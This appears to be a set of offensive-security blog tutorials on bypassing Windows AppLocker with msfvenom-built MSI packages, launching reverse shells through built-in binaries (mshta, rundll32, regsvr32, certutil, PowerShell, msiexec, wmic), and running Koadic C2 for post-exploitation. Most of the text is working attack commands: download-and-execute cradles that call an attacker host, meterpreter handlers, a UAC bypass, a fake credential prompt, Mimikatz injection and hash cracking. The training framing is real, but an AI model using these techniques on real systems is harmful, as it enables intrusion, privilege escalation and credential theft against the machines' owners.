Bypass Application Whitelisting using msiexec.exe (Multiple Methods)

In our privious article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they defines the AppLocker rules for your application control policies and how to work with them. But Today you will learn how to bypass Applocker policies. In this post, we have block cmd.exe file using Windows applocker Policy and try to bypass this restriction to get command prompt as administrator.

Table of Content

Associated file formats where Applocker is applicable

Challenge 1: - Bypass Applocker with .msi file to get CMD as Administrator

Little-Bit more about MSI file

Multiple Methods to get CMD as Administrator

·         Generate malicious .msi file with Msfvenom -1st Method

·         Generate malicious .msi file with Msfvenom -2nd Method

·         Generate malicious .msi file with Msfvenom -3rd Method

Challenge 2: - Make a local user member of Administrative Group

·         Generate Malicious .msi file with Msfvenom -4th  Method

Associated file formats where Applocker is Applicable

Windows applocker is a function that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. In this an administrator can restict the execution of the  following programs:

It depends entirely on the system admin which program or script he wants to set the applocker policy for program restriction or execution. There could a situation where Command Prompt (cmd.exe), or Pwershell or dll file or batch file or rundll32.exe or regsrv.32 or regasm and many more are blocked.

Challenge 1: - Bypass Applocker with .msi file to get CMD as Administrator

Let’s suppose you are in a similar situation where all the above mentioned application is blocked and only Windows Installer file i.e. the.msi extension is allowed to run without any restrictions.

Then how will you use an msi file to bypass these restriction and get a full privilege shell?

Little-Bit more about MSI file

The MSI name comes from the original title of the program, Microsoft Installer. Since then the name has changed to Windows Installer. An .MSI file extension file is a Windows Package Installer. An installation package contains all the information required to install or uninstall an application by Windows Installer.Each installation package contains a .msi file, which contains an installation database, a summary information stream and data streams for different parts of the installation.

The Windows Installer technology is divided into two parts that work in combination; these include a client-side installer service (Msiexec.exe) and a Microsoft Software Installation (MSI) package file. Windows Installer uses information contained in a package file to install the program.

The Msiexec.exe program is a component of Windows Installer. When it is called by Setup, Msiexec.exe uses Msi.dll to read the package (.msi) files, apply any transform (.mst) files, and incorporate command-line options supplied by Setup. The installer performs all installation-related tasks, including copying files to the hard disk, making registry modifications, creating shortcuts on the desktop, and displaying dialog boxes to prompt for user installation preferences when necessary.

When Windows Installer is installed on a computer, it changes the registered file type of .msi files so that if you double-click an .msi file, Msiexec.exe runs with that file.

Each MSI package file contains a relational-type database that stores instructions and data required to install (and remove) the program across many installation scenarios.

Multiple Methods to get CMD as Administrator

Generate Malicious .msi file with Msfvenom -1^st Method

Now let’s open a new terminal in Kali machine and generate a malicious MSI Package file as cmd.msi to get command prompt through it by utilizing the Windows/exec payload as follows:

msfvenom -p Windows/exec CMD=cmd.exe -f msi > cmd.msi

python -m HTTPServer 80

Now transfer cmd.msi file in your Windows machine to obtain the command prompt shell as administrators.  Here we have used Python HTTP server for sharing file in the network.

Once you have downloaded the.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the.msi file with msiexec.exe inside the run prompt.

Syntax: misexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

As soon as you will hit the above mentioned command inside run prompt, you will get the Command Prompt as administrator.

Generate Malicious .msi file with Msfvenom -2^nd  Method

Note: Even if you rename cmd.msi file in another extension, it will bypass the rule and start a command prompt as an administrator.

Repeat above to generate an msi file with the same payload as msfvenom and named cmd.png. Since I already have a cmd.msi file in my kali, I rename it as cmd.png and use a python server to transfer it.

Once you have downloaded the cmd.png file (which is actually an .msi file) on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the.msi file with msiexec.exe inside the run prompt.

Syntax: misexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

As soon as you will hit the above mentioned command inside run prompt, you will get the Command Prompt as administrator.

Generate Malicious .msi file with Msfvenom -3^rd  Method

In above methods, we obtain a command prompt by utilizing the Windows/exec payload but now we will use windows/meterpreter/reverse_tcp payload to get full privilege command shell via meterpreter sessions.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f  msi >  shell.msi

Now again transfer shell.msi file in your Windows machine to obtain the command prompt shell as administrators and start multi/handler.  Here we have used Python HTTP server for sharing file in the network.

Once you have downloaded the shell.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the.msi file with msiexec.exe inside the run prompt.

Syntax: misexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

As soon as you will hit the above mentioned command inside run prompt, you will get the Command Prompt as administrator via the meterpreter session using this exploit!!  

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.107

msf exploit(handler) > set lport 1234

msf exploit(handler) > exploit

meterpreter > shell

Challenge 2: - Make a local user member of Administrators Group

Let’s suppose you are in a similar situation where all the above mentioned application is blocked and only Windows Installer file i.e. the.msi extension is allowed to run without any restrictions.

Then how will you use an msi file to bypass these restriction to make a local user member of Administrators Group where cmd.exe is block?

Note: Here aaru is a local user account which is not non-administrative user account as shown below:

As we know that due to applocker execution rule policy, cmd.exe is block on the local machine, therefore we cannot use command prompt to add aaru in the administrator group.

Generate Malicious .msi file with Msfvenom -4th  Method

Generate a MSI package as admin.msi with the windows/exec payload that sends a command instructing to add local admin privileges for the user “aaru”, to the target machine.

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

Now transfer admin.msi file in your Windows machine to add aaru in the administrators group.  Here we have used Python HTTP server for sharing file in the network.

Once you have downloaded the admin.msi file your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the.msi file with msiexec.exe inside the run prompt.

Syntax: misexec /q /i

msiexec /q /i http://192.168.1.107/admin.msi

As soon as you will hit the above mentioned command inside run prompt, you can ensure that the aaru user has become part of administrators account.

Hopefully, it becomes clear to you, that, how you can use an .msi file to compromise an operating system where cmd.exe and other applications are blocked by administrator.

References:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

Get Reverse-shell via Windows one-liner

This article will help those who play with CTF challenges, because today we will discuss "Windows One- Liner" to use malicious commands such as power shell or rundll32 to get reverse shell of the Windows system. Generally, while abusing HTTP services or other programs, we get RCE vulnerability. This loophole allows you to remotely execute any system command. We have therefore prepared a list of Windows commands that enable you to use the target machine to get reverse connections.

Table of Content

Mshta.exe

§  Launch HTA attack via HTA Web Server of Metasploit

Rundll32.exe

§  Launch Rundll32 Attack via SMB Delivery of Metasploit

Regsvr32.exe

§  Launch Regsvr32 via Script Web Delivery of Metasploit

Certutil.exe

§  Launch MSbuild Attack via Msfvenom C# shellcode

Powershell.exe

§  Launch Powercat attack via Powershell

§  Launch cscript.exe via Powershell

§  Launch Batch File Attack via Powershell

Msiexec.exe

§  Launch msiexec attack via msfvenom

Wmic.exe

§  Launch Wmic.exe attack via Koadic

Mshta.exe

Launch HTA attack via HTA Web Server of Metasploit

Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with. You can interpret these files using the Microsoft MSHTA.exe tool.

Metasploit contain “HTA Web Server” module which generate malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed.

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109

msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109

msf exploit(windows/misc/hta_server) > exploit

Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions.

Once you will execute the malicious hta file on the remote machine with the help of mshta.exe, you get reverse connection at your local machine (Kali Linux).

mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta

As you can observe that, we have meterpreter session of the victim as shown below:

Rundll32.exe

Rundll32.exe is associated with Windows Operating System that allow you to invoke a function exported from a DLL, either 16-bit or 32-bit and store it in proper memory libraries.

Launch Rundll32 Attack via SMB Delivery of Metasploit

Metasploit also contain “SMB Delivery” module which generate malicious dll file. This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Currently supports DLLs and Powershell.

use exploit/windows/smb/smb_delivery

msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109

msf exploit(windows/smb/smb_delivery) > exploit

Now run the malicious code through rundll32.exe on the victim machine (vulnerable to RCE) to obtain meterpreter sessions.

Once you will execute the dll file on remote machine with the help of rundll32.exe, you will get reverse connection at your local machine (Kali Linux).

rundll3.exe \\192.168.1.109\vabFG\test.dll,0

As you can observe that, we have meterpreter session of the victim as shown below:

Regsvr32.exe

Regsvr32 is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry. Regsvr32.exe is installed in the %systemroot%\System32 folder in Windows XP and later versions of Windows.

RegSvr32.exe has the following command-line options:

Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] 

/u - Unregister server
/i - Call DllInstall passing it an optional [cmdline]; when it is used with /u, it calls dll uninstall
/n - do not call DllRegisterServer; this option must be used with /i
/s – Silent; display no message boxes

Launch Regsvr32 via Script Web Delivery of Metasploit

This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection.

Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 3

msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.1.109

msf exploit (web_delivery)>set srvhost 192.168.1.109

msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below window

Once you will execute the scrobj.dll file on remote machine with the help of regsrv32.exe, you will get reverse connection at your local machine (Kali Linux).

regsvr32 /s /n /u /i:http://192.168.1.109:8080/xt5dIF.sct scrobj.dll

As you can observe that, we have meterpreter session of the victim as shown below:

Certutil.exe

Certutil.exe is a command-line program that is installed as part of Certificate Services. We can use this tool to execute our malicious exe file in the target machine to get meterpreter session.

Launch certutil Attack via Msfvenom

Generate a malicious executable (.exe) file with msfvenom and start multi/handler to get reverser shell of victim’s machine.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

Now, in order to dump configuration information or files of shell.exe file with certutil, you can follow below systax:

Syntax: [-f] [-urlcache] [-split] Path of executable file

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

As you can observe that, we have meterpreter session of the victim as shown below:

Powershell.exe

You can use PowerShell.exe to start a PowerShell session from the command line of another tool, such as Cmd.exe, or use it at the PowerShell command line to start a new session. Read more from official website of Microsoft Windows from here.

Launch Powercat attack via Powershell

Powercat is a PowerShell native backdoor listener and reverse shell also known as modify version of netcat because it has integrated support for the generation of encoded payloads, which msfvenom would do and also has a client- to- client relay, a term for Powercat client that allows two separate listeners to be connected.

Download powershell in your local machine and then the powercat.ps1 transfer files with python http server to obtain reverse shell of the targetas shown below and start netcat listener.

git clone https://github.com/besimorhino/powercat.git

python -m SimpleHTTPServer 80

Then execute following command on remote side to get natcat session.

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"

As you can observe that, we have netcat session of the victim as shown below:

Launch Batch File Attack via Powershell

Similarly, powershell allows client to execute bat file, therefore let’s generate malicious bat file with msfvenom as given below and start netcat listener.

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

Then execute following command on remote side to get natcat session.

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))

As you can observe that, we have netcat session of the victim as shown below:

Launch cscript.exe via Powershell

Similarly, powershell allows client to execute cscript.exe to run wsf, js and vbs script, therefore let’s generate malicious bat file with msfvenom as given below and start multi/handler as listener.

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs

Then execute following command on remote side to get meterpreter session.

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

As you can observe that, we have meterpreter session of the victim as shown below:

Msiexec.exe

As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe.  

Launch msiexec attack via msfvenom

Let’s generate a MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows and start multi/handler as listener.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 –f  msi > 1.msi

Once you will execute the 1.msi file on remote machine with the help of msiexec, you will get reverse connection at your local machine (Kali Linux).

msiexec /i http://192.168.1.109/1.msi

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

As you can observe that, we have meterpreter session of the victim as shown below:

Wmic.exe

The WMIC utility is a Microsoft tool provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machine and also used to wmic query such as system settings, stop processes and execute scripts locally or remotely. Therefore, it can invoke XSL script (eXtensible Stylesheet Language).

Launch Wmic.exe attack via Koadic

Now will generate a malicious XSL file with the help of koadic which is a Command & Control tool which is quite similar to Metasploit and Powershell Empire.

To know how koadic works, read our article from here: https://www.hackingarticles.in/koadic-com-command-control-framework/

Once installation gets completed, you can run ./koadic file to start koadic and start with loading the sta/js/wmic stager by running the following command and set SRVHOST where the stager should call home.

use stager/js/wmic

set SRVHOST 192.168.1.107

run

Execute WMIC following command to download and run the malicious XSL file from a remote server:

wmic os get /FORMAT:“http://192.168.1.107:9996/g8gkv.xsl”

Once the malicious XSL file will get executed on target machine, you will have a Zombie connection just like metasploit.

Koadic - COM Command & Control Framework

Hello friends!! In this article we are introducing another most interesting tool “KOADIC - COM Command & Control” tool which is quite similar to Metasploit and Powershell Empire. So let’s began with its tutorial and check its functionality.

Table of Content

·         Introduction to Koadic

·         Installation of Koadic

·         Usage of Koaidc

·         Koadic Stagers

·         Privilege Escalation with Koadic Implants

·         Post Exploitation

o   Generate Fake Login Prompt

o   Enable Rdesktop

o   Inject Mimikatz

o   Execute Command

o   Convert Zombie Session to Meterprter Session

Introduction to Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.

It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled).

Koadic also attempts to be compatible with both Python 2 and Python 3. However, as Python 2 will be going out the door in the not-too-distant future, we recommend using Python 3 for the best experience.

Source - https://github.com/zerosum0x0/koadic

Installation of Koadic

It must first be downloaded and installed in order to start using Koadic. Run following command to download Koadic from github and also take care of its dependency tools while installing koadic.

git clone https://github.com/zerosum0x0/koadic.git

cd koadic

apt-get install python3-pip

pip3 install -r requirements.txt

./koadic

Usage of Koaidc

This tool is majorly depends upon stager and implant. It contains 6 stager and 41 implant

Stager: Stagers hook target zombies and allow you to use implants.

Implants: Implants start jobs on zombies.

Once installation gets completed, you can run ./koadic file to start koadic. Then run the most helpful command to get synopsis of the use of koadic is help. The help command summarizes the various commands available. Koadic functions similar to other frameworks, such as Metasploit.

To load all available module in the terminal run “use ” command. This will dump all available implant and stagers for execution or explore stager module with following commands:

use stager/js/

This will give you all stagers that will be useful for getting zombie session of target machine.

Koadic Stagers

The stager enables us to describe where any zombie device accesses the Koadic command and control. Some of these settings can be viewed by running info command once the module is selected. Let's start with loading the mshta stager by running the following command.

Set SRVHOST where the stager should call home and SRVPORT the port to listen for stagers on or even you can set ENDPOINT for malicious file name and then enter run to execute.

set SRVHOST 192.168.1.107

set ENDPOINT sales

run

Now wit for the victim to run below command to execute above generated malicious file.

mshta http://192.168.1.107:9999/sales

Once the malicious sales file will get executed on target machine, you will have a Zombie connection just like metasploit.

zombies 0

Privilege Escalation with Koadic Implants

Once you have zombie session after than you can use implant modules for privilege escalation that includes bypassuac.

Koadic contains all modules to bypassuac of Windows 7, 8, 10 platform, so that you can extract system level information. We can load this module by running the command below within Koadic.

use implant/elevate/bypassuac_eventvwr

Then, we will set the payload value to run the module. You can use default zombie value as “ALL" to attack all zombies or can set the particular zombie id you want to attack. Use the command below to adjust the payload value and zombie.

set PAYLOAD 0

set ZOMBIE 0

run

Post Exploitation

Generate Fake Login Prompt

You can start a phishing attack with koadic and track the victim's login credentials. We can load this module by running the command below within Koadic.

use implant/phish/password_box

set ZOMBIE 1

run

This will launch a Prompt screen for login at victim’s machine.

Therefore, if the victim enters his password in a fake prompt, you get the password in the command and control of Koadic.

Enable Rdesktop

Just like metasploit, here also you can enable remote desktop service in the victim’s machine with the following implant module.

use implant/mange/enable_rdesktop

set ZOMBIE 1

run

As you can observe in the below image that job 4 is completed successfully and it has enabled rdesktop service.

We can ensure for rdesktop service with the help of nmap to identify state of port 3389.

nmap -p3389 192.168.1.103

Hmm!! So you can observe from nmap result we found port 3389 is open which means rdesktop service is enable.

Inject Mimikatz

It will let you inject mimkatz in victim’s machine for extracting password from inside the machine. We can load this module by running the command below within Koadic.

use implant/inject/mimikatz_dotnet2js

set ZOMBIE 1

run

As result, it will dump the NTLM hash password which we need to crack. Save the NTLM value in a text file.

Then we will use john the ripper for cracking hash value, therefore run following command along with the hash file as shown below:

john hash --format=NT

As you can observe that it has shown 123 as the password extracted from the hash file.

Execute Command

Since we high privileged shell therefore we are free to run any implant module for Post exploitation therefore now we are using exec_cmd to execute any command on the Windows system. To load this implant, run the command given below.

use implant/manage/exec-cmd

Then, we will set the CMD value to run the specify command along with Zombie id.

set CMD ipconfig

set ZOMBIE 1

Run

Convert Zombie Session to Meterprter Session

If you are having zombie session then you can get meterpreter session through it. Generate a malicious file with the help of msfvenom and start multi handle, as we always do in metasploit.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe

Koadic provides an implant module that allows you to upload any file to the machine of the victim if you have zombie sessions. To load this implant, run the following command:

use implant/util/upload_file

Now set the file location and Zombie Id then run the module. This will upload your malicious in writable directory i.e. %TEMP% .

set LFILE /root/shell.exe

set ZOMBIE 1

run

Once the job is completed then again use exec_cmd to run the uploaded file with the help of this module.

use implant/manage/exec-cmd

Then, we will set the CMD value to run the uploaded shell.exe file along with Zombie id.

set CMD %TEMP%shell.exe

set ZOMBIE 1

Run

Once you will execute the malicious exe file within Koadic zombie session, you will get a meterpreter session in the metasploit framework as shown below:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set rhost IP 192.168.1.107

msf exploit(handler) > set lport 1234

msf exploit(handler) > exploit

Once the file is executed on the machine we will get the victim machine meterpreter session as show below.